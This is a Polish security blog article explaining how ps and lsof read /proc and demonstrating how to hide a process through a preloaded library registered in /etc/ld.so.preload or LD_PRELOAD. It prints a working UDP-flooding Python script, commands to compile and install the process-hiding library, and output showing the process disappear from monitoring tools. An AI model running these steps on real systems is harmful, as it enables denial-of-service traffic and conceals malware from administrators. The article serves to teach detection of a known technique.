Ukrywanie procesów za pomocą ld.so.preload
Napisał: Patryk Krawaczyński
07/08/2023 w Bezpieczeństwo Brak komentarzy. (artykuł nr 868, ilość słów: 1976)
P
odczas wykrywania różnego rodzaju szkodliwych procesów zazwyczaj używamy podstawowych poleceń systemowych, takich jak: ps, lsof oraz netstat (lub jego następcę ss). Dla przypomnienia: ps
– wyświetla aktualne procesy w systemie; netstat
– wyświetla połączenia sieciowe, tablice routingu i statystyki pakietów; lsof
– listuje otwarte deskryptory plików i procesy, które je otworzyły. Polecenia te opierają się na prostej koncepcji (w systemach *nix prawie wszystko jest reprezentowane jako deskryptor pliku: pliki, katalogi, połączenia sieciowe, potoki, zdarzenia itd.) i przydają się w wielu sytuacjach. W rezultacie polecenia te mogą zobaczyć wiele rzeczy i być użyte do odpowiedzi na wiele interesujących pytań.
Na przykład: Jakie połączenia sieciowe ma proces $X? Kto łączy się z określonym punktem końcowym? Które procesy mają otwarte pliki w ścieżce /etc? Odpowiedzi na te i wiele innych pytań jest możliwe dzięki temu, że jądro systemu Linux eksportuje wiele wewnętrznych informacji do pseudo systemu plików /proc, który można przeglądać za pomocą wspomnianych poleceń. Można myśleć o nich jako interfejsach użytkownika dla informacji z /proc. De facto jeśli spojrzymy na zawartość tego katalogu to zobaczymy kilka podkatalogów z liczbą jako nazwą (są to PID), a każdy z tych podkatalogów zawiera szczegóły określonego procesu. Wewnątrz znajduje się między innymi lista deskryptorów plików (ang. File Descriptor – FD – /proc/PID/fd
) dla danego procesu; informacje o stanie procesu (/proc/PID/stat
); więcej informacji w formacie łatwiejszym do analizy przez ludzi (/proc/PID/status
); pełna linia poleceń dla procesu, chyba że jest to proces zombie (/proc/PID/cmdline
). Te i inne pliki zawierają wszystkie informacje, które program ps i mu podobne pokazują na wyjściu swojego wywołania:
agresor@darkstar:~$ strace ps x 2>&1 | egrep '(openat|getdents)' openat(AT_FDCWD, "/proc", O_RDONLY|O_NONBLOCK|O_CLOEXEC|O_DIRECTORY) = 5 getdents64(5, 0x556f98203fe0 /* 202 entries */, 32768) = 5232 ... openat(AT_FDCWD, "/proc/1458/stat", O_RDONLY) = 6 openat(AT_FDCWD, "/proc/1458/status", O_RDONLY) = 6 openat(AT_FDCWD, "/proc/1458/cmdline", O_RDONLY) = 6 getdents64(5, 0x556f98203fe0 /* 0 entries */, 32768) = 0
Ten kawałek przechwycenia wywołań systemowych doskonale pokazuje, jak działa ps: na początku otwierany jest katalog /proc
przez wywołanie systemowe openat()
. Następnie proces wywołuje getdents()
w otwartym katalogu, co jest wywołaniem systemowym zwracającym listę plików / katalogów zawartych w określonym katalogu (tutaj /proc). Warto wiedzieć (co będzie przydatne w dalszej części), że sam program ps nie wywołuje bezpośrednio funkcji openat()
i getdents()
, ponieważ są to wywołania systemowe, które są abstrakcjami standardowej biblioteki C (libc). Jeśli kiedykolwiek przeczytaliśmy dokumentację libc to wiemy, że biblioteka ta udostępnia dwie różne funkcje: opendir()
oraz readdir()
, które same zajmują się wykonywaniem wywołań systemowych, zapewniając nieco prostsze API dla programisty. Tak więc te ostatnie są funkcjami wywoływanymi bezpośrednio z ps. Dlatego spoglądać na to wszystko wysokopoziomowo rysuje się nam obraz:
[ lsof ] ---| poproszę o informacje odnośnie procesu/ów |---> [ /proc ] [ /proc ] ---| to są informacje o które prosiłeś |-----------> [ lsof ] [ lsof ] ---| przefiltrowane informacje o które prosiłaś |--> [ konsola ]
Większość z narzędzi linuksowych, których używamy na co dzień w administracji systemem działa dokładnie w ten sam sposób. Można więc o nich pomyśleć jako przyjaznych dla użytkownika interfejsach dla informacji z /proc
:
root@stardust:~# lsof -p 799 COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME haveged 799 root cwd DIR 8,2 4096 2 / haveged 799 root rtd DIR 8,2 4096 2 / haveged 799 root txt REG 8,5 23144 525321 /usr/sbin/haveged haveged 799 root mem REG 8,2 2029592 452 /lib/x86_64-linux-gnu/libc-2.31.so haveged 799 root mem REG 8,5 96336 394868 /lib/x86_64-linux-gnu/libhavege.so.1 haveged 799 root mem REG 8,2 191504 426 /lib/x86_64-linux-gnu/ld-2.31.so haveged 799 root 0r CHR 1,3 0t0 6 /dev/null haveged 799 root 1u unix 0x0000000 0t0 19955 type=STREAM haveged 799 root 2u unix 0x0000000 0t0 19955 type=STREAM haveged 799 root 3u CHR 1,8 0t0 17 /dev/random
Skoro już mniej więcej wiemy, jak działa translacja informacji pomiędzy poszczególnymi narzędziami, a informacjami z systemu naszym celem będzie ukrycie prostego, ale złośliwego skryptu napisanego w języku Python. Będzie on obciążać procesor (przynajmniej jeden rdzeń) oraz wysyłać pakiety UDP do wybranej ofiary:
#!/usr/bin/python3 import socket import sys def send_traffic(ip, port): print(f"Sending burst to {ip} on port: {port}") sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.connect((ip, port)) while True: try: sock.send("I AM A BAD BOY".encode('utf-8')) except ConnectionRefusedError: print(f"Connection refused to: {ip} on port: {port}") if len(sys.argv) != 3: print("Usage: " + sys.argv[0] + " IP PORT") sys.exit() send_traffic(sys.argv[1], int(sys.argv[2]))
Czas na uruchomienie skryptu i sprawdzenie jego działania:
agresor@darkstar:~$ ./evil.py 37.187.104.217 53 > /dev/null 2>&1 &
Potwierdźmy teraz, że proces chodzi w tle i utylizuje przynajmniej jeden rdzeń:
agresor@darkstar:~$ ps ux USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND agresor 1358 99.1 0.2 17448 9484 pts/0 R 21:00 9:49 /usr/bin/python3 ./evil.py
Możemy również spojrzeć na połączenia sieciowe otwarte przez proces za pomocą lsof
:
agresor@darkstar:~$ lsof -i 4 COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME evil.py 1358 agresor 3u IPv4 25104 0t0 UDP darkstar:50337->nfsec.pl:domain
Ukrywanie procesu:
Biblioteki w systemie Linux są zbiorem skompilowanych funkcji. Możemy korzystać z tych funkcji w programach bez przepisywania tej funkcjonalności. Osiągamy to najczęściej poprzez włączenie kodu biblioteki do naszego programu (biblioteka statyczna – ang. static library) lub poprzez dynamiczne łączenie w czasie wykonywania (biblioteka współdzielona – ang. shared library). Korzystając z bibliotek statycznych możemy budować samodzielne programy. Z drugiej strony programy zbudowane przy użyciu współdzielonych bibliotek wymagają wsparcia linkera (konsolidatora) / programu ładującego w czasie wykonywania. Powoduje to załadowanie wszystkich wymaganych bibliotek przed wykonaniem programu. Linker posiada jeszcze jedną funkcję zwaną wstępnym ładowaniem (ang. preloading) – dzięki niech mechanizm konsolidatora jest tak uprzejmy, że daje nam możliwość załadowania niestandardowej biblioteki współdzielonej przed załadowaniem innych bibliotek systemowych i tych wymaganych przez program. Oznacza to, że jeśli biblioteka niestandardowa wyeksportuje funkcję pod taką samą sygnaturą jak ta, którą można znaleźć w bibliotece systemowej to jesteśmy dosłownie w stanie zastąpić ją niestandardowym kodem z naszej biblioteki, a wszystkie uruchamiane programy automatycznie wybiorą nasz niestandardowy kod. Dlatego, jeśli napiszemy bibliotekę, która zastępuje wywołanie readdir()
biblioteki libc i za każdym razem kiedy zobaczy wybrany proces przefiltruje informacje o nim – będziemy w stanie ukrywać jego aktywność. Przykład takiej biblioteki możemy pobrać z serwisu github. Wystarczy w odpowiedniej linii edytować jaki proces chcemy ukryć:
static const char* process_to_filter = "evil.py";
Kolejnym krokiem jest kompilacja biblioteki i “poproszenie” systemu, aby ładował ją w procesie poprzedzającym inne biblioteki:
agresor@darkstar:~$ gcc -Wall -fPIC -shared -o libprocesshider.so processhider.c -ldl agresor@darkstar:~$ sudo mv libprocesshider.so /usr/local/lib/ root@darkstar:~# echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload
Od tego momentu każdy nowy proces, który zostanie uruchomiony w systemie będzie wykonywał niestandardowy kod z tej biblioteki podczas iteracji przez katalogi /proc
za pomocą funkcji readdir()
. Wróćmy więc i spróbujmy wykonać ponownie polecenia ps i lsof podczas działania skryptu evil.py:
agresor@darkstar:~$ ps ux USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND agresor 1666 0.0 0.0 169360 3788 ? S 19:53 0:00 (sd-pam) agresor 1727 0.0 0.1 17320 7988 ? S 19:53 0:00 sshd: agresor@pts/0 agresor 1728 0.0 0.1 8884 5620 pts/0 Ss 19:53 0:00 -bash agresor 1777 0.0 0.0 10088 1592 pts/0 R+ 20:35 0:00 ps ux
Połączenia sieciowe:
agresor@darkstar:~$ lsof -i 4 agresor@darkstar:~$
Teraz nasz szkodliwy proces jest niewidoczny, nawet gdy polecenia do przeszukiwania procesów są uruchamiane z prawami administratora. Takie narzędzia jak: pstree, top, czy htop również nie pokazują na swojej liście skryptu evil.py. Analogicznie sprawa będzie wyglądała jeśli ustawimy danemu użytkownikowi zmienną LD_PRELOAD
:
agresor@darkstar:~$ ./evil.py 37.187.104.217 53 > /dev/null 2<&1 & [1] 1814 agresor@darkstar:~$ ps xu USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND agresor 1666 0.0 0.0 169360 3788 ? S 19:53 0:00 (sd-pam) agresor 1727 0.0 0.1 17320 7988 ? S 19:53 0:00 sshd: agresor@pts/0 agresor 1728 0.0 0.1 9144 5892 pts/0 Ss 19:53 0:00 -bash agresor 1814 107 0.2 17452 9364 pts/0 R 20:47 0:03 /usr/bin/python3 ./evil.py agresor 1815 0.0 0.0 10068 1572 pts/0 R+ 20:47 0:00 ps xu agresor@darkstar:~$ export LD_PRELOAD=/usr/local/lib/libprocesshider.so agresor@darkstar:~$ ps xu USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND agresor 1666 0.0 0.0 169360 3788 ? S 19:53 0:00 (sd-pam) agresor 1727 0.0 0.1 17320 7988 ? S 19:53 0:00 sshd: agresor@pts/0 agresor 1728 0.0 0.1 9144 5976 pts/0 Ss 19:53 0:00 -bash agresor 1863 0.0 0.0 10088 1604 pts/0 R+ 20:47 0:00 ps xu
Co ciekawe technika ta jest często stosowana przez różnego rodzaju botnety kopiące kryptowaluty. W artykule wykrywanie ukrytych procesów za pomocą libprocesshider.so został opisany prosty mechanizm na podstawie skryptu w języku python umożliwiający wykrywanie ukrytych procesów za pomocą tej techniki.
Więcej informacji: proc, Sysdig for ps, lsof, netstat + time travel, Hiding Linux processes for fun + profit, Linux Attack Techniques: Dynamic Linker Hijacking with LD Preload